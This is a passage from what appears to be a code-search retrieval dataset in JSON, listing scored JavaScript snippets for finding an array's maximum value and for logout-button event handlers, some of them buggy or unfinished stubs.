i<array.length; i++){\n\n }\n\tarray.sort(function(a,b) {return a-b});\n\tvar max = array[array.length-1];\n\treturn max;\n }", "title": "" }, { "docid": "292ceebe309f15a52d81a1dcd4bb1a02", "score": "0.8091373", "text": "function maxArray(numbers) {\n\tvar largest = 0\n\tfor (var i = 0; i < numbers.length; i++) {\n \t largest = numbers[i] > largest ? numbers[i] : largest;\n }\n console.log(\"the largest number in the array is \" + largest);\n return largest;\n}", "title": "" }, { "docid": "5491e95749f9636ae281ab2f73eb474a", "score": "0.80732405", "text": "function max(array) {\r\n\tvar maxNumber = array[0];\r\n\t\r\n\tfor (var i = 0; i < array.length; i++) {\r\n\t\tif (array[i] > maxNumber) {\r\n\t\t\tmaxNumber = array[i];\r\n\t\t}\r\n\t}\r\n\treturn maxNumber;\r\n}", "title": "" }, { "docid": "bda6e27533a56bdf1bc5e0b35f32053c", "score": "0.80694497", "text": "function findMax(array){\n var max = array[0];\n for(var i=0; i<array.length; i++){\n if(max<array[i]){\n max = array[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "77159cfcc3effc281ec8e9d5c46099fe", "score": "0.8066679", "text": "function findMax(numArr){\n var max = numArr[0];\n for (var i = 0; i < numArr.length; i++){\n if (numArr[i] > max){\n max = numArr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "2cec370c3452023a8305729cfa4817e4", "score": "0.8066262", "text": "function maxNumber(array){\n\tvar max=array.reduce((max,cu)=>{return (max > cu)?max :cu });\n\treturn max\n\n}", "title": "" }, { "docid": "f0f8330aa1c3d4bc1046c17dc7fbeb39", "score": "0.80631703", "text": "function max(arr) {\n return arr.sort((a, b) => b - a)[0];\n}", "title": "" }, { "docid": "be88832a41030e57c937cc8b65ddb7ad", "score": "0.80605716", "text": "function max(givenArray) {\n\tvar top = givenArray[0];\n\tgivenArray.forEach(function(numToCheck) {\n\t\tif (numToCheck > top) {\n\t\t\ttop = numToCheck;\n\t\t}\n\t});\n\treturn top;\n}", "title": "" }, { "docid": "0810745a2c3e5f01af32b88fafcc95e3", "score": "0.80602825", "text": "function findLargestNumber(input){\nvar largest = 0;\n for(count = 0; count < input.length; count++){\n if(input[count] > largest){largest = input[count]}\n }\n return largest;\n}", "title": "" }, { "docid": "677f22524b3fc065c4ec50e932736f69", "score": "0.80574346", "text": "function highestNumber(array) {\n\tvar highestNumber = array[0];\n\n\tfor (var iter = 1; iter < array.length; iter++) {\n\t\tif (highestNumber < array[iter]) {\n\t\t\thighestNumber = array[iter];\n\t\t}\n\t}\n\treturn highestNumber;\n}", "title": "" }, { "docid": "aa984b2e0f887e3c40e8a534b8ba4b5a", "score": "0.80328214", "text": "function findmax(arr, number){\r\n var largest = []\r\n for (var counter = 0; counter < arr.length; counter++) {\r\n if (arr[counter] > number) {\r\n largest.push(arr[counter])\r\n }\r\n }\r\n return largest\r\n }", "title": "" }, { "docid": "d0753c6d5d155a75f91f82c0300aa2e8", "score": "0.8032357", "text": "function findLargest(numbers) {\n var largest = 0;\n for (var count = 0; count < numbers.length; count++) {\n var currentNum = numbers[count];\n if (currentNum > largest) {\n largest = currentNum;\n }\n }\n return largest;\n}", "title": "" }, { "docid": "92ade8985d0c5faa395fdf9cdd832e2a", "score": "0.7994609", "text": "function findMax(arr){\n var max = arr[0];\n for(var i=1; i<arr.length; i++){\n if(arr[i]>max){\n max = arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "d9cf5b313a0ca2b0ee18dbe0c27c9368", "score": "0.7993971", "text": "function findMax(arr) {\n // Your code here\n\n return max;\n}", "title": "" }, { "docid": "512586892939b7d262abf73909706eda", "score": "0.7989746", "text": "function maxOfArray(numbers) {\n let largest = arr[0];\n for (var i = 0; i < arr.length; i++) {\n if (largest < arr[i] ) {\n largest = arr[i];\n }\n}\n return largest;\n}", "title": "" }, { "docid": "856621dbf238c88cbfcb95e978b1689e", "score": "0.79771394", "text": "function max (array) {\n\n}", "title": "" }, { "docid": "a2f626b7def1e1ad159d7634a04b5f57", "score": "0.7951536", "text": "function largest (nums) {\n var largest = nums[0];\n nums.forEach(function (x) { if (x > largest) { largest = x; } });\n return largest;\n}", "title": "" }, { "docid": "a4e7941a636965aaa9bd07813341aa8f", "score": "0.7927648", "text": "function findMax(arr){\n var max=0;\n for(var i=0;i<arr.length;i++){\n if(arr[0]<arr[i]){\n max=arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "b16f1b3a641bfc96de4ff7cdaa94ba53", "score": "0.7926343", "text": "function my_max(numArray){\n\treturn Math.max.apply(null,numArray);\n}", "title": "" }, { "docid": "9110019894a8ee3fc9c31b3afdba2334", "score": "0.791842", "text": "function largest(){\n // parse arguments into an array\n var args = [].slice.call(arguments);\n\n var large = Math.max.apply(Math,args);\n return large;\n}", "title": "" }, { "docid": "e387e28aeadabea7cc67fcecf7e23339", "score": "0.7910899", "text": "function largestNumber(numbers) {\n var max = [0];\n\n for (var i = 0; i < numbers.length; i++) {\n if(max < numbers[i]) {\n max = numbers[i]\n }\n }\n return max\n}", "title": "" }, { "docid": "c4041e25c73a5ccfb471481818963958", "score": "0.7909666", "text": "function findMax(numArray) {\n var sortedArray = numArray.sort();\n var max = Math.max.apply(null, sortedArray);\n \n return max.toFixed(2);\n}", "title": "" }, { "docid": "884871a91393437dd5ccf91c2c04d38b", "score": "0.7901205", "text": "function findMax(arr) {\n var max = arr[0];\n for (var i = 0; i < arr.length; i++) {\n if (arr[i] > max) {\n max = arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "72e5dbcfb0340232fec708fdeed66c8f", "score": "0.7899143", "text": "function findMax(array){\n var max = array[0]; // something\n // loop through all the values of the array\n for(var index = 1; index < array.length; index += 1){\n if (max < array[index]) {\n // assign the array index to the max variable\n max = array[index]\n }\n }\n return max;\n}", "title": "" }, { "docid": "a1b70f7044c183d949689619d47447f8", "score": "0.7895785", "text": "function max(arr) {\n\tvar i, result;\n\n\tif (!arguments.length) {\n\t\treturn;\n\t}\n\n\tarr = arr.filter(isNumber);\n\n\tresult = arr[0];\n\tfor (i = 0; i < arr.length; i++) {\n\t\t\tif (arr[i] > result)\t{\n\t\t\t\tresult = arr[i];\n\t\t\t}\n\t}\n\n\treturn result;\n}", "title": "" }, { "docid": "c323e7a318fcb38a05f85c5f6272585a", "score": "0.78806365", "text": "function findMax(array){\n\t\tvar big = array[1];\n\t\tfor(i=0; i < array.length;i++){\n\t\t\t\t//skipping first line and looking for smallest value\n\t\t\tif(i != 0 && big < array[i]){\n\t\t\t\tbig = array[i];\n\t\t\t}\n\n\t\t}\n\t\treturn big; \n\t}", "title": "" }, { "docid": "0dd1160321a657a6b261c4093e30b94e", "score": "0.7874775", "text": "function max(arr) {\n var result = arr[0];\n for(var i = 1; i < arr.length; i++){\n if(arr[i] > result) {\n result = arr[i];\n }\n }\nreturn result;\n}", "title": "" }, { "docid": "a4988703b39b14397b35fca5032bd94d", "score": "0.7862607", "text": "function findMax(arr){\n var m = -Infinity, i = 0, n = arr.length;\n for (; i != n; ++i) {\n if (arr[i] > m) {\n m = arr[i];\n }\n }\n return m;\n}", "title": "" }, { "docid": "c659a07c5f6c8b3fabdddb9565f21ff4", "score": "0.7851355", "text": "function max(array) {\n\tarray.sort(function(a,b) {\n\t\treturn a - b;\n\t});\n\tconsole.log(\"Greatest element in array: \" + array[(array.length - 1)]);\n}", "title": "" }, { "docid": "1c334edecc6150f38fef40a804baecbe", "score": "0.7843648", "text": "function max(array) {\n var m = array[0];\n for (var i = 1; i < array.length; i++) {\n if (array[i] > m) {\n m = array[i];\n }\n }\n return m;\n}", "title": "" }, { "docid": "a10c4837f14ca37bf2db4bca99d8fc0c", "score": "0.78415716", "text": "function GetHighestValue(array) {\n return Math.max.apply(Math, array);\n }", "title": "" }, { "docid": "1bfe9e2e76d462a13534ad42c7d43efb", "score": "0.78396463", "text": "function largestElement(x){\n var max = 0; \n for(var i=0; i<x.length; i++){\n if(x[i] > max){\n max = x[i];\n } \n }\n return max;\n }", "title": "" }, { "docid": "5489dabec62a7234ff37abbe80720833", "score": "0.7839397", "text": "function max(arr){\n var max = arr[0]\n for(var i=0; i<arr.length; i++){\n if(max<arr[i]){\n max=arr[i]\n }\n }\n return max\n}", "title": "" }, { "docid": "b29904d3214bac78dbb3329785ccf64e", "score": "0.78289956", "text": "function largest() {\n var args = Array.prototype.slice.call(arguments, 0);\n return Math.max.apply(null, args);\n}", "title": "" }, { "docid": "db89ee0efe9830f6f4bca233667bcd0a", "score": "0.7828654", "text": "function findMax(arr, index = 0, max = arr[0]){\n // This function returns the largest number in a given array.\n if (index === arr.length){\n return max;\n }\n\n if (arr[index] < arr [index + 1]){\n if (arr[index + 1] < max) {\n max = max;\n } else {\n max = arr[index + 1];\n }\n } else if (arr[index] > arr [index + 1]) {\n if (arr[index] < max) {\n max = max;\n } else {\n max = arr[index];\n }\n }\n\n return findMax(arr, index + 1, max);\n}", "title": "" }, { "docid": "68590f8f8ab6d2a2b1cd18afbed5ca1b", "score": "0.7823208", "text": "function findLargestNum(number) {\r\n //sets the max number to 0\r\n var max = 0;\r\n //sets n to the number of elements in the array\r\n var n = number.length;\r\n\r\n //loops through the array, constantly checking if the next element is bigger than the max number\r\n for (var i = 0; i < n; ++i) {\r\n if (number[i] > max) {\r\n //if it is bigger, the max number updates\r\n max = number[i];\r\n }\r\n }\r\n //prints the max number\r\n console.log(max);\r\n}", "title": "" }, { "docid": "df58acbff8a0a22d5200f523e0dace19", "score": "0.7820298", "text": "function max(array) {\n\tvar maxValue = array[0];\n\tfor(var i = 1; i < array.length; i++) {\n\t\tif(array[i] > maxValue) {\n\t\t\tmaxValue = array[i];\n\t\t}\n\t}\n\treturn maxValue;\n}", "title": "" }, { "docid": "e06d38a0b3310c45c43dc188323de167", "score": "0.78068227", "text": "function maximo(array){\n var numeros = array[0];\n for (let i = 0; i < array.length; i++) {\n if (array[i] > numeros ){\n numeros = array[i];\n } \n }\n return numeros;\n}", "title": "" }, { "docid": "1ed1a69bdabc223ccb0c20c1ba91492b", "score": "0.78010064", "text": "function largestNum(arr) {\n let largestNum = -99\n arr.forEach(x => {\n if (x > largestNum) {\n largestNum = x\n }\n })\n return largestNum\n}", "title": "" }, { "docid": "53bc51433bce4d1e2bb2d16bd6970ad1", "score": "0.78006154", "text": "function max(array){\r\n var max = array[0];\r\n for (var i = 0; i < array.length; i++){\r\n if(array[i] > max){\r\n max = array[i];\r\n }\r\n }\r\n return max;\r\n}", "title": "" }, { "docid": "daf894b26b80e34e48bf4c91fd8b3837", "score": "0.7798018", "text": "function largestNumbers(arr) {\n return arr.map(subArr => subArr.reduce((a, b) => Math.max(a, b)))\n}", "title": "" }, { "docid": "9cd1fea007de39d297dea705dbb97069", "score": "0.7790807", "text": "function max(arr) {\n var max = arr[0];\n for (i = 0; i < arr.length; i++) {\n if (max < arr[i]) {\n max = arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "de36763e2546b15fcfd80f275085ab95", "score": "0.77907264", "text": "function max(arr) {\n var max = arr[0];\n for (var i = 1; i < arr.length; i++) {\n if (arr[1] > max) {\n max = arr[i];\n }\n\n }\n\n return max;\n}", "title": "" }, { "docid": "d1e877caf85125f3267c21ae0fa61c18", "score": "0.7788059", "text": "function largest(arr) {\n let largestNum = arr[0];\n for (let i = 1; i < arr.length; i++) {\n if (largestNum < array[i])\n largestNum = array[i];\n }\n alert(largestNum);\n }", "title": "" }, { "docid": "d112a34fc57b77f6553794f16120b9e4", "score": "0.7784409", "text": "function largest() {\n \"use strict\"\n // parse arguments into an array\n var args = [].slice.call(arguments);\n\n // .. do something with each element of args\n // YOUR CODE HERE\n\n var theLargestNumber = 0;\n\n args.forEach(function(number) {\n\n if (theLargestNumber < number) {\n theLargestNumber = number;\n }\n\n })\n\n return theLargestNumber;\n\n}", "title": "" }, { "docid": "dfd5cc9044b3fa94aff4d6b6549c89dc", "score": "0.7783206", "text": "function indexHighestNumber(array) {\n\tvar index = 0;\n\tvar highestValue = array[0];\n\n\tfor (var x = 1; x < array.length; x++) {\n\t\tif (highestValue < array[x]) {\n\t\t\thighestValue = array[x];\n\t\t\tindex = x;\n\t\t}\n\t}\n\treturn index;\n}", "title": "" }, { "docid": "921d60726bf281f6f182e9a4b8ab9625", "score": "0.77829313", "text": "function maximum(arr) {\n var max = arr[0];\n for (var i = 0; i < arr.length; i++) {\n if (arr[i] > max) {\n max = arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "3dfcbdfd2b6af31d12dfeabdf29ba679", "score": "0.7781697", "text": "function max(arr) {\n\tvar max = arr[0];\n\tfor (var i = 1; i < arr.length; i++) {\n\t\tif (arr[i] > max) {\n\t\t\tmax = arr[i];\n\t\t}\n\t}\n\treturn max;\n}", "title": "" }, { "docid": "44e5376c3626ce31663d7fe444e53c47", "score": "0.77816856", "text": "function maxValue(array) {\n var max = null;\n\n for (var i = 0; i < array.length; i += 1) {\n var num = array[i];\n\n if (num > max || max === null) {\n max = num\n }\n }\n return max;\n}", "title": "" }, { "docid": "4cfe9ac7dfc2fa8b2e29b806154f7988", "score": "0.7780057", "text": "function maxOfArray(numbers) {\n let highestNum = 0;\n numbers.forEach(function(number) {\n if (number > highestNum) {\n highestNum = number;\n }\n });\n return highestNum;\n}", "title": "" }, { "docid": "0ef02e90362aefba0e0385f3e3a01a28", "score": "0.7775778", "text": "function findMax(numArray) {\n for (i = 0; i < numArray.length; i++) {\n var y = Math.max(...numArray)\n }\n return y\n}", "title": "" }, { "docid": "918fe26a252bda205dfad331aa71395e", "score": "0.7764544", "text": "function maxFinder(num) {\n let maxNum = -1000000;\n\n for (let i = 0; i < num.length; i++) {\n if (num[i] > maxNum) {\n maxNum = num[i];\n }\n }\n return maxNum;\n}", "title": "" }, { "docid": "43064da0b127f9e9aa320d3efd762b96", "score": "0.7759629", "text": "function largest(){\n // parse arguments into an array\n var args = [].slice.call(arguments);\n\n // .. do something with each element of args\n // YOUR CODE HERE\n // return Math.max.apply(null, args); //One Method, but not ours.\n bigNumba = 0;\n for (var i = 0; i < args.length; i++) {\n if (args[i] > bigNumba) {\n bigNumba = args[i];\n }\n }\n return bigNumba;\n}", "title": "" }, { "docid": "3f70186dba25761d5f1da645f47386f1", "score": "0.77516246", "text": "function getMaxNumberInArray(arrNumbers){\r\n\tvar max=arrNumbers[0];\r\n\tfor(var j=1; j<arrNumbers.length; j++){\r\n\t\tif(arrNumbers[j]>max){\r\n\t\t\tmax=arrNumbers[j];\r\n\t\t}\r\n\t}\r\n\treturn max;\r\n}", "title": "" }, { "docid": "8e32781994beed895fec31cd3b7b6310", "score": "0.7736122", "text": "function my_max(array) {\n\treturn Math.max.apply(array);\n}", "title": "" }, { "docid": "5f797fd391880134433aa964c83348cc", "score": "0.77343494", "text": "function findMax(array) {\n if (array.length > 1) {\n if (array[0] < array[1]) {\n array.shift();\n } else {\n array.splice(1, 1);\n }\n findMax(array);\n }\n return array[0];\n}", "title": "" }, { "docid": "14d5ef8193046e50b5f5dd96f916e3c6", "score": "0.7733943", "text": "function maximum(arr) {\n if (arr.length === 0) {\n return null;\n }\n let largeElement = arr[0];\n for (let i = 1; i < arr.length; i++) {\n if (arr[i] > largeElement) {\n largeElement = arr[i];\n }\n }\n return largeElement;\n}", "title": "" }, { "docid": "d770eb9f48167bb275a3b27375848e7a", "score": "0.77322555", "text": "function maxOf(array) {\n if (array.length == 1) {\n return array[0]\n }\n else {\n let a = array[0]\n let b = array[1]\n if (a > b) {\n array[1] = a\n }\n let newArr = array.slice(1, array.length)\n return maxOf(newArr)\n }\n}", "title": "" }, { "docid": "f7828bb6dd39b1ad1f67b0fd96b8fdc1", "score": "0.773174", "text": "function max(arr) {\n\tvar max = arr[0];\n\n\tfor(var i = 1; i < arr.length; i++) {\n\t\tif(arr[i] > max) {\n\t\t\tmax = arr[i];\n\t\t}\n\t}\n\treturn max;\n}", "title": "" }, { "docid": "973f9521aa1cdb9dd2dc64a3e4f4817d", "score": "0.7728803", "text": "function largest(arr){\n return Math.max(...arr)\n }", "title": "" }, { "docid": "df2ce719b18f60b37c54149c3b08a6ae", "score": "0.77287763", "text": "function findMax(arr){\n let index = 0;\n let max = arr[0];\n function high(){\n if(index === arr.length){\n return max;\n }\n if (arr[index] > max) {\n max = arr[index]\n index++;\n return high()\n } else {\n index++;\n return high()\n }\n }\n return high();\n}", "title": "" }, { "docid": "df99d5e1be15ba9ab808eec1f788fb00", "score": "0.772736", "text": "function FindMax(arr){\n var max = arr[0]\n for (let i = 0; i < arr.length; i++) {\n if (arr[i] > max) {\n max = arr[i]\n }\n }\n return max\n}", "title": "" }, { "docid": "a055d433f6bae1dd0238a4ec074a4019", "score": "0.7727346", "text": "function maxOfArray(numbers) {\n var highestNum = 0;\n numbers.forEach( function (element) {\n if (element > highestNum) {\n highestNum = element;\n }\n })\n\n return highestNum;\n}", "title": "" }, { "docid": "7e11195fc19c68fed4682ba814b6e4ce", "score": "0.77190155", "text": "function getMax(arr){\n\tvar len = arr.length;\n\tvar max = -Infinity;\n\twhile (len--) {\n\t\tif (arr[len][1] > max) {\n\t\t\tmax = arr[len][1];\n\t\t}\n\t}\n\treturn max;\n}", "title": "" }, { "docid": "8ed1bad996cc1bd45c066d79ecd5af21", "score": "0.77180636", "text": "function largest() {\n return Math.max.apply(Math, arguments);\n}", "title": "" }, { "docid": "1c14b2c4c0a9a17167893b0ead302128", "score": "0.7716189", "text": "function max(arr) {\r\n var max = arr[0];\r\n for(var index = 1; index < arr.length; index++) {\r\n if(arr[index] > max){\r\n max = arr[index];\r\n }\r\n }\r\n return max;\r\n}", "title": "" }, { "docid": "c6be881c2ec9e87324b9f2e0585acbd6", "score": "0.7715777", "text": "function max(arr) {\n var max = arr[0];\n for(var i = 1; i < arr.length; i++) {\n if(arr[i] > max){\n max = arr[i];\n }\n }\n return max;\n}", "title": "" }, { "docid": "20a84bca60b2b5d17c8b7a085a00914d", "score": "0.77113026", "text": "function largest3 (arr) {\n\tlet max = 0;\n\n\tfor (i= 0; i < arr.length; i++) {\n\t\tif (arr[i] > max) {\n\t\tmax = arr[i];\n\t\t}\n\t}\n\treturn max;\n}", "title": "" }, { "docid": "9b47348410ef0aff0fc7db7f202b7748", "score": "0.7710903", "text": "function largest() {\r\n return Math.max.apply(null, arguments);\r\n}", "title": "" }, { "docid": "09a9fa48d7b6b5f1803ad1525621680b", "score": "0.7705661", "text": "function secondLargest(arr) {\r\n\tif (arr.length<=1) {\r\n\t\treturn null;\r\n\t}\r\n\tvar max = arr[0];\r\n\tvar nex = null;\r\n\tfor (var i=0; i<arr.length; i++) {\r\n\t\tif (arr[i]>max) {\r\n\t\t\tmax=arr[i];\r\n\t\t}\r\n\t\tif ((arr[i]<max&&nex==null)||(arr[i]<max&&arr[i]>nex)) {\r\n\t\t\tnex=arr[i];\r\n\t\t}\r\n\t}\r\n\treturn nex;\r\n}", "title": "" } ]
499f96f12c24766db733d63cc3492863
event handler for logout button
[ { "docid": "97729d75b5c9a9e70f6dcdc9395d9cba", "score": "0.0", "text": "doLogout() {\n this.user = null;\n }", "title": "" } ]
[ { "docid": "012c3383e82dd723d77a56ee342c9e92", "score": "0.8090499", "text": "function logoutEventHandler() {\n\t$('#login_dive').delegate('#logoutbtn', 'click', function() { \n\t\tlogoutUser();\n\t});\n}", "title": "" }, { "docid": "547cd71a7ac13c73df437c3b9bb5032f", "score": "0.80075383", "text": "'click #logout'(event, instance) {\n\t\t\tLOGGED_IN_USER.set(\"\");\n\t\t\tSHOW_LOGIN.set(true);\n\t\t\tSHOW_LANDING.set(true);\n\t\t}", "title": "" }, { "docid": "76835e29530a6686fffb8c27a53b97ba", "score": "0.78095096", "text": "function logout(event) {\n event.preventDefault();\n $.ajax({\n type: 'POST',\n url: '/api/logout',\n success: function() {\n // and then redraw the UI.\n loggedOut();\n }\n });\n}", "title": "" }, { "docid": "76835e29530a6686fffb8c27a53b97ba", "score": "0.78095096", "text": "function logout(event) {\n event.preventDefault();\n $.ajax({\n type: 'POST',\n url: '/api/logout',\n success: function() {\n // and then redraw the UI.\n loggedOut();\n }\n });\n}", "title": "" }, { "docid": "8751171cfe93ab6fd32caf754dceef2d", "score": "0.77662796", "text": "logOut() {\n var event = new CustomEvent(\"authoff\");\n document.dispatchEvent(event);\n }", "title": "" }, { "docid": "8751171cfe93ab6fd32caf754dceef2d", "score": "0.77662796", "text": "logOut() {\n var event = new CustomEvent(\"authoff\");\n document.dispatchEvent(event);\n }", "title": "" }, { "docid": "1c66db66ff082d970d3a61f7dd7d7701", "score": "0.7698589", "text": "function logout() {\n\n loginTemplate.innerHTML = login;\n let loginId = document.getElementById(\"loginbtn\");\n loginId.addEventListener(\"click\", logToAnimationpage);\n clearInterval(timerId);\n }", "title": "" }, { "docid": "938cfe6cb30165a651136e9050f71b00", "score": "0.7678557", "text": "_logoutClick() {\n\t\tPubSub.publish(\"APP.USER.LOGOUT\");\n\t\tthis._closeMenu();\n\t\tthis.setState({ connected: false, user: null });\n\t}", "title": "" }, { "docid": "fcc0e5a73720fcdb267bd85cd75d9292", "score": "0.7673522", "text": "'click .logout'(event){\n\t\tMeteor.logout((error)=>{\n\t\t\t//on error display the reason why\n\t\t\tif(error)\n\t\t\t\tconsole.log(error.reason);\n\t\t});\n\t}", "title": "" }, { "docid": "d89f7a82f97303f79666b7e7852afbbb", "score": "0.75930226", "text": "function logoutClicked() {\n\t$(\"body\").delegate(\"#logoutButton\", \"click\", function(e) {\n\t\te.preventDefault();\n\t\twindow.location = \"logout.php\";\n\t});\n}", "title": "" }, { "docid": "b772f3ef51d727d2d17324a28bb393b5", "score": "0.757089", "text": "function logout() {\n om.logOut(function() {\n $('#app').hide();\n $('#logout').hide();\n $('#logged-out').show();\n $('#login').show();\n });\n}", "title": "" }, { "docid": "c550b23173845ede6ca6bc5f8c418cf3", "score": "0.7570152", "text": "function log_out_handler() {\n $('div.Main_App_Trigger_Div').trigger('log_out_user');\n }", "title": "" }, { "docid": "13a9a53dffaba780afa453cd7c6a3248", "score": "0.75450027", "text": "logout(e) {\n\t\te.preventDefault();\n\t\tAuthService.logout();\n\t}", "title": "" }, { "docid": "31905958cb7beadd8d961f5d112b4542", "score": "0.75356174", "text": "function onLogout(ev) {\n\t\tev.preventDefault();\n\t\tif (!FT.isOnline()) {\n\t\t\tutils.status.show('You are offline.\\nIt is impossible to logout in offline mode', 4000);\n\t\t\treturn;\n\t\t}\n\t\tvar data = {\n\t\t\th1: 'Log Out',\n\t\t\tp: 'Revoke access given to a Fire Tasks?',\n\t\t\tcancel: 'Cancel',\n\t\t\tok: 'Log Out',\n\t\t\taction: function () {\n\t\t\t\tAuth.revokeToken();\n\t\t\t}\n\t\t};\n\t\tFT.confirm(data);\n\t}", "title": "" }, { "docid": "a091334911a244336570de1327c41a4a", "score": "0.75200605", "text": "function addListenerToLogoutButton() {\n // Listen for click on the compose button and slide it up/down\n $('#logout-button').on('click', function() {\n // When logout button is clicked:\n // Switch the frontend from logged in state to logged out state\n // by calling all the fuction in switchLoggedinToLoggedOut.js\n\n // - Log user out by removing the cookie\n Cookies.remove('email')\n // - remove all DOM elemnts specific to logged in state\n removeLoggedInUserEnv()\n\n // Load tweets again\n // This removes 'liked' class from tweets liked by the current user\n loadTweets()\n\n // - create login/register buttons and forms\n createLoginButton()\n createRegisterationButton()\n createLoginForm()\n createRegisterationForm()\n\n // - Add listeners to above created elements\n addListenerToLoginButton()\n addListenerToRegisterButton()\n addListenersToLoginForm()\n addListenersToRegisterationForm()\n\n // - Remove listeners to likes since logged out users cannot like tweets\n removeListenersOfLikes()\n\n })\n}", "title": "" }, { "docid": "062f5ffddb57179542acdb74b56c10cf", "score": "0.7518181", "text": "function initLogout(e){\n\te.preventDefault();\n\t$.ajax({\n\turl: \"/api/admin/logout\",\n\ttype: \"POST\",\n\tdata: {\n\t\tuserid: getUserAuth().id,\n\t\ttoken_api: getUserAuth().token\n\t},\n\tsuccess: function(result){\n\t\tif(result.success){\n\t\t\t$('body').pgNotification({message: \"Log Out Succesful\"}).show();\n\t\t\tsetTimeout(function(){\n\t\t\t\twindow.location.href = \"/admin\";\n\t\t\t},100);\n\t\t}else{\n\t\t\t$('body').pgNotification({message: result.result.message}).show();\n\t\t\tsetTimeout(function(){\n\t\t\t\twindow.location.href = \"/admin\";\n\t\t\t},100);\n\t\t}\n\t},\n\terror: function(xhr,status,error){\n\t\tconsole.log(xhr, status, error);\n\t}\n});\n}", "title": "" }, { "docid": "063770a2de5a482222659dfc92c5459f", "score": "0.7511125", "text": "function onSingoutClick() {\n Connector.signOut();\n }", "title": "" }, { "docid": "265bde3ce8b0a425c01c9077f828c6b8", "score": "0.7509397", "text": "handleSignout(event) {\n id_lib.signoutUser();\n }", "title": "" }, { "docid": "4dea63429e804d997dfbb667eca9ef84", "score": "0.7480881", "text": "function logoutBtn() {\n $(\"#btnLogout\").on('click', function() {\n login();\n });\n}", "title": "" }, { "docid": "d0fe84f590eca689c0b8efb040de9a58", "score": "0.7472211", "text": "logout() {}", "title": "" }, { "docid": "5c4e799359cd662dab38452cef76cfc0", "score": "0.7451853", "text": "logout (event) {\n\t\tevent.preventDefault();\n\t\tAuthentication.logout();\n\t}", "title": "" }, { "docid": "01d0791bdbdf623ab4494ca5faef1291", "score": "0.74294525", "text": "onLogout() {\n\t\taxios.get('/data/logout');\n\t\tthis.username = '';\n\t\tthis.password = '';\n\t\tthis.id = null;\n\t\tthis.level = null;\n\t}", "title": "" }, { "docid": "70668e425f371388de449020e4c65f61", "score": "0.7414971", "text": "function logoutHandler(){\n setAuth(false);\n setTokenId(\"\");\n localStorage.setItem(\"isAuth\", false);\n localStorage.setItem('tokenId', \"\" );\n }", "title": "" }, { "docid": "80a266241258ed414f0590b672cff710", "score": "0.74126387", "text": "function handleLogoutClick() {\n cookie.remove('cookie', { path: '/' })\n //dispatch(setLogout()); \n history.push(\"/\");\n }", "title": "" }, { "docid": "83d53344d27b4261a6f2ff3d790c5f68", "score": "0.7405013", "text": "function logout() {\n authService.logout();\n messageService.success('You have been logged out.');\n }", "title": "" }, { "docid": "8bf3949a7da456acbdb9a68a52b98dbb", "score": "0.74033886", "text": "function logoutUser(event) {\n event.preventDefault();\n props.request('logoutUser', 'logout', 'GET');\n }", "title": "" }, { "docid": "af2b7da201f82665697fdd086cbefa2f", "score": "0.7402797", "text": "function logout() {\n // do any preprocessing needed\n\n // tell the server to log out\n serverRequest(\"logout\", {}).then(function(result) {\n if (result.response.ok) {\n showContent(\"login\");\n }\n serverStatus(result);\n });\n}", "title": "" }, { "docid": "64905975f2939fd0b1560b15bfe0bf26", "score": "0.73975164", "text": "logUserOut() {\n action.logout(this.state.user);\n }", "title": "" }, { "docid": "7724b8add3b9bde162b20c61c4038858", "score": "0.7396092", "text": "function OnClickedSignOut() {\n\tbrains.Dialog.Lock();\n\t$.get( \"logout.php\" )\n\t\t.done( function( data ) {\n\t\t\t\n\t\t\tbrains.Dialog.Unlock();\n\t\t\tif( data == \"\" ) { // if data != \"\" then an error occurred.\n\t\t\t\tbrains.SetLoggedIn( false );\n\t\t\t\tbrains.Dialog.Close();\n\t\t\t}\n\t\t})\n\t\t.fail( function() {\n\t\t\tbrains.Dialog.Unlock();\n\t\t});\n}", "title": "" }, { "docid": "1e158d3fe19fdb68fe4b1d3dfc9a760c", "score": "0.73883575", "text": "function logout() {\n //Request erstellen logout-Handler aufrufen\n var xhr = new XMLHttpRequest();\n xhr.open(\"GET\", \"http://localhost:4242/logout\");\n xhr.onload = function () {\n showLoginScreen();\n }\n xhr.send();\n }", "title": "" }, { "docid": "b4d9db5d171486cc9fa6ad945dde7ef5", "score": "0.7348077", "text": "function org_shaolin_vogerp_herewego_page_Main_logout(eventsource,event) {/* Gen_First:org_shaolin_vogerp_herewego_page_Main_logout */\n\n // cal ajax function. \n\n UIMaster.triggerServerEvent(UIMaster.getUIID(eventsource),\"logout-94543543\",UIMaster.getValue(eventsource),this.__entityName);\n\n var UIEntity = this;\n }", "title": "" }, { "docid": "ca71c59da15d7c2f9e41050c294eee5d", "score": "0.7335305", "text": "function doLogout() {\n\t// :TODO: check login status\n\tQ.select('h1').text('Log Out');\n\trenderProfileLogout(document.getElementById('page-body'));\n\tdocument.title = 'Log Out';\n}", "title": "" }, { "docid": "0a29fc83a2033e9351cbc4d5ba7e8a03", "score": "0.7332545", "text": "onClickLogout() {\n return this.client\n .logout()\n .then(() => {\n this.statusEl.innerText = 'status: logged out';\n })\n .catch((err) => alert(err.message));\n }", "title": "" }, { "docid": "1c1962c640e6ade18be153fb3794e2ff", "score": "0.73320735", "text": "function user_logout_method()\n{\n lg(\"Handle User Logout\");\n} // end of user_logout_method", "title": "" }, { "docid": "5f33c75cf3fbde1a3e64e45a3a8d7b0f", "score": "0.7319154", "text": "handleLogoutClick() {\n \tthis.props.logout()\n \t}", "title": "" }, { "docid": "ff806414e051e572465db63daf48fdc0", "score": "0.73156756", "text": "function logout() {\n Auth.logout();\n }", "title": "" }, { "docid": "efaf87e12e2334c801deaec19ae51924", "score": "0.7279866", "text": "logOut() {\n this._resetState();\n\n this.emitChange();\n }", "title": "" }, { "docid": "0cc445d4be8126df992476ff3060a6c5", "score": "0.7279673", "text": "function loginLogOutAnchorFunction(ev) {\n if (ev.target.innerText === \"Logout\") {\n ev.preventDefault();\n manager.logOut();\n location.hash = '#registerFormContainer';\n }\n }", "title": "" }, { "docid": "098b75f9cfec67873aefe114ac57546b", "score": "0.7270732", "text": "logout() {\n }", "title": "" }, { "docid": "5afdcfb27a5938e56bb70e84cc7e718a", "score": "0.7251043", "text": "function signOutActionClickHandler() {\n\tajaxDelete(\"/api/signOut\", (callbackResponse) => {\n\t\tif 